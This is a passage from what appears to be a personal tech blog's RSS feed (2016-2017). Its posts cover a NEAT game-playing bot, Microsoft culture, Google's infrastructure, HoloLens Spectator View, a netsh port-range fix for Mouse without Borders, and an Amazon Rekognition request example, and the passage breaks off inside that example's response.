&lt;/a&gt; (neural evolution of augmenting topologies) and is written in &lt;a
	
		href = &#34;http://tasvideos.org/Bizhawk/LuaFunctions.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lua
	&lt;/span&gt;
&lt;/a&gt; (which is very similar to .NET) and runs in &lt;a
	
		href = &#34;http://tasvideos.org/BizHawk.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BizHalk
	&lt;/span&gt;
&lt;/a&gt; which is a emulator for games and their various platforms (and not to be confused with BizTalk). You can checkout the code for this &lt;a
	
		href = &#34;http://pastebin.com/dl/ZZmSNaHX&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Fjodor also has &lt;a
	
		href = &#34;http://www.asimovinstitute.org/neural-network-zoo/?utm_source=mybridge&amp;amp;utm_medium=blog&amp;amp;utm_campaign=read_more&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		outlined
	&lt;/span&gt;
&lt;/a&gt; a (very) brief outline on what some of these are and what they mean. If you just want to get a quick basic understand it is a great read, with of course links back to original research papers (and deeper reads) if that is your cup of tea.&lt;/p&gt;
&lt;p&gt;Happy reading! 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>On Culture</title>
      <link>/post/2017/02/on-culture/</link>
      <pubDate>Tue, 21 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/02/on-culture/</guid>
      <description>&lt;p&gt;I have said in the past, Culture eats strategy for breakfast. One cannot fix culture - but rather lead with example and have others follow.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.usatoday.com/story/tech/news/2017/02/20/microsofts-satya-nadella-counting-culture-shock-drive-growth/98011388/?hootPostID=666c890860108dccf372c67964ec4895&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		This article
	&lt;/span&gt;
&lt;/a&gt; on how Satya at Microsoft is expecting a culture shock to drive growth at Microsoft is a great example of this. Quite exciting days for Microsoft ahead.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google as Xerox PARC?</title>
      <link>/post/2017/02/google-as-xerox-parc/</link>
      <pubDate>Fri, 17 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/02/google-as-xerox-parc/</guid>
      <description>&lt;p&gt;This wired article titled &lt;a
	
		href = &#34;https://www.wired.com/2012/08/google-as-xerox-parc/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		If Xerox PARC Invented the PC, Google Invented the Internet
	&lt;/span&gt;
&lt;/a&gt;, is an old one - from 5 years ago, but it is still an inspirational read. So many things lined up for Google, to be where they are today.&lt;/p&gt;
&lt;p&gt;I still get goose bumps reading that article - but then I am a geek, if that wasn&amp;rsquo;t obvious. Whilst, grid computing with GFS, MapReduce, Hadoop, are still very much relevant and great (and most others still trying to use and understand it); Dynamo (from Amazon) and BigTable lead to NoSQL which is great and still worth spending a lot of time learning, playing, and, experimenting - I would love to hear on what they are doing now with &lt;a
	
		href = &#34;https://www.wired.com/2012/07/google-colossus/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Colossus
	&lt;/span&gt;
&lt;/a&gt; (think of that as GFS vNext), &lt;a
	
		href = &#34;https://googleblog.blogspot.com/2010/06/our-new-search-index-caffeine.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Caffeine
	&lt;/span&gt;
&lt;/a&gt; and, &lt;a
	
		href = &#34;https://static.googleusercontent.com/media/research.google.com/en//archive/spanner-osdi2012.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Spanner
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;7 years is an eternity and who knows what is cooking? And of course what are both Microsoft and Amazon doing to compete around this. How can you not continue to be excited the world we are living in? &amp;#x1f604;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HoloLens - Spectator view - allowing others to see what you are seeing</title>
      <link>/post/2017/02/hololens-spectator-view-allowing-others-to-see-what-you-are-seeing/</link>
      <pubDate>Tue, 14 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/02/hololens-spectator-view-allowing-others-to-see-what-you-are-seeing/</guid>
      <description>&lt;p&gt;Microsoft just announced an update around the HoloLens that allows you to share on what you are seeing (from a first-person perspective) with others to make to more interactive. This is a combination of MRC (Mixed Reality Capture) which already exists and some new updates that address some of the short coming of the MRC - especially when working with a audience.&lt;/p&gt;
&lt;p&gt;The main use case on the spectator view - as the name suggests is to allow those in the room not wearing a device to see the holograms but also the interactions that the folks wearing HoloLens with their mixed reality experience.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/SpectatorViewVideo.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You can use this to capture a mixed-reality scene, live stream the content (say in a meeting / conference), and, shoot/record the video. This essentially is the &amp;lsquo;cheap&amp;rsquo; version of the special camera rig that Microsoft uses for keynote presentations.&lt;/p&gt;
&lt;p&gt;It is not as straight forward as you might imagine; but at the same time if you are doing this &amp;lsquo;properly&amp;rsquo; it isn&amp;rsquo;t as complex as well. You need some special equipment, and need to change some configuration, and add details to your apps to account for this.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/spectatorView-246x300.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You do need some special DSLR cameras (with HDMI output), and some other hardware - details can be found here. You can also 3D print the mount (STP can be &lt;a
	
		href = &#34;https://github.com/Microsoft/HoloLensCompanionKit/blob/master/SpectatorView/Hardware/HoloLens_Mount.stp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		found here
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/SpectatorViewRig-300x198.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And in addition there are a bunch of other steps that you need to do - from calibrating  (to get the offset from the camera), to the Compositor (which is a unity extension)  and allows you to record the video and change the hologram opacity, spatial mapping data details, etc.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Calibration-300x249.gif&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;All the detailed steps &lt;a
	
		href = &#34;https://developer.microsoft.com/en-us/windows/holographic/spectator_view&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		can be found here.
	&lt;/span&gt;
&lt;/a&gt; And if this is all new, then I highly recommend to check out the &lt;a
	
		href = &#34;https://developer.microsoft.com/en-us/windows/holographic/holograms_240&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Holograms 240 course
	&lt;/span&gt;
&lt;/a&gt;. And below is an example on what this all can look like.&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/aKX8UMejtWc?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Preparation</title>
      <link>/post/2017/02/preparation/</link>
      <pubDate>Thu, 09 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/02/preparation/</guid>
      <description>&lt;p&gt;Us vs. some of our friends. You know who you are. &lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/wp-1486610752917.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Mouse without borders issue - Only one usage of each socket address</title>
      <link>/post/2017/02/mouse-without-borders-issue-only-one-usage-of-each-socket-address/</link>
      <pubDate>Sun, 05 Feb 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/02/mouse-without-borders-issue-only-one-usage-of-each-socket-address/</guid>
      <description>&lt;p&gt;I have been using &lt;a
	
		href = &#34;https://www.microsoft.com/en-us/download/details.aspx?id=35460&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mouse without Borders
	&lt;/span&gt;
&lt;/a&gt;, a program that allows you to make a virtual KVM between machines for some time at home and it is awesome. You can use one set of keybard and mouse among various (windows) machines including clipboard and copy and paste. If you haven&amp;rsquo;t tried it, I would highly recommend it.&lt;/p&gt;
&lt;p&gt;However lately I could not connect between two machines and kept getting the error: &amp;ldquo;&lt;em&gt;Only one usage of each socket address&lt;/em&gt;&amp;rdquo;. To the point where it was unusable and was pretty annoying. I looked online at &lt;a
	
		href = &#34;http://aka.ms/mm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		their site
	&lt;/span&gt;
&lt;/a&gt; but nothing jumped out. BTW, I was seeing this only on one machine (running Windows 10) and not the other one (also running Windows 10 but an inner ring of the Creators Update - essentially the next version of Windows).&lt;/p&gt;
&lt;p&gt;What I understand the issue to be is that Windows is running out of ports and where programs that use a port for a short time, it won&amp;rsquo;t matter much, in this case the port is always going to be used.&lt;/p&gt;
&lt;p&gt;The solution that seems to be working for me is quite simple - we increase the number of ports available to Windows. This is quite simple and to do this if you run an &lt;strong&gt;elevated command prompt&lt;/strong&gt; and copy and paste the following command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netsh int ipv4 set dynamicport tcp start=1025 num=64511&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And if you are not sure on how to get the elevated command prompt - easiest way to do that is press &lt;strong&gt;WinKey + X,&lt;/strong&gt; and from the menu select Command Prompt (Admin) as shown below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/elevated-command-prompt-135x300.jpg&#34; alt=&#34;Elevated command prompt menu&#34;/&gt;
        &lt;figcaption&gt;Elevated command prompt&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How does the Netherlands welcome the new US President?</title>
      <link>/post/2017/01/how-does-the-netherlands-welcome-the-new-us-president/</link>
      <pubDate>Fri, 27 Jan 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/01/how-does-the-netherlands-welcome-the-new-us-president/</guid>
      <description>&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/j-xxis7hDOE?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Bing Blues</title>
      <link>/post/2017/01/bing-blues/</link>
      <pubDate>Tue, 10 Jan 2017 00:00:00 +0000</pubDate>
      
      <guid>/post/2017/01/bing-blues/</guid>
      <description>&lt;p&gt;It isn&amp;rsquo;t often that one see&amp;rsquo;s issues with Bing - I can&amp;rsquo;t recall when I last saw it, but then when it does it sure is cute. We love Pandas so this can only be good. 😄&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/bing-fail-300x185.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Happy New Year</title>
      <link>/post/2016/12/happy-new-year/</link>
      <pubDate>Sat, 31 Dec 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/12/happy-new-year/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/wp-1456719605406.jpg&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Blockchain, blockchain, blockchain!</title>
      <link>/post/2016/12/blockchain-blockchain-blockchain/</link>
      <pubDate>Sun, 04 Dec 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/12/blockchain-blockchain-blockchain/</guid>
      <description>&lt;p&gt;Dilbert says it nicely! :)&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/blockchain1-300x99.png&#34; alt=&#34;blockchain1&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/blockchain2-300x91.jpg&#34; alt=&#34;blockchain2&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/blockchain3-300x95.png&#34; alt=&#34;blockchain3&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Object and scene detection with #AI</title>
      <link>/post/2016/12/object-and-scene-detection-with-ai/</link>
      <pubDate>Fri, 02 Dec 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/12/object-and-scene-detection-with-ai/</guid>
      <description>&lt;p&gt;Continuing the previous #ArtificialIntelligence theme. Wanted to see what and how does Amazon&amp;rsquo;s rekognition work and different from the #AI offerings from the others, such as Microsoft.&lt;/p&gt;
&lt;p&gt;Here is a #ProjectMurphy image&amp;rsquo;s confidence score. I am glad to see that there is a 99% confidence that this is a person.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Capture-300x136.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Object and Scene detection&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The request POST is quite simple:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;method&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;region&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;us-west-2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;headers&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;application/x-amz-json-1.1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;X-Amz-Date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Thu, 01 Dec 2016 22:21:01 GMT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;X-Amz-Target&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;com.amazonaws.rekognitionservice.RekognitionService.DetectLabels&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;contentString&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Attributes&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;ALL&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Image&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Bytes&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And so is the response:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
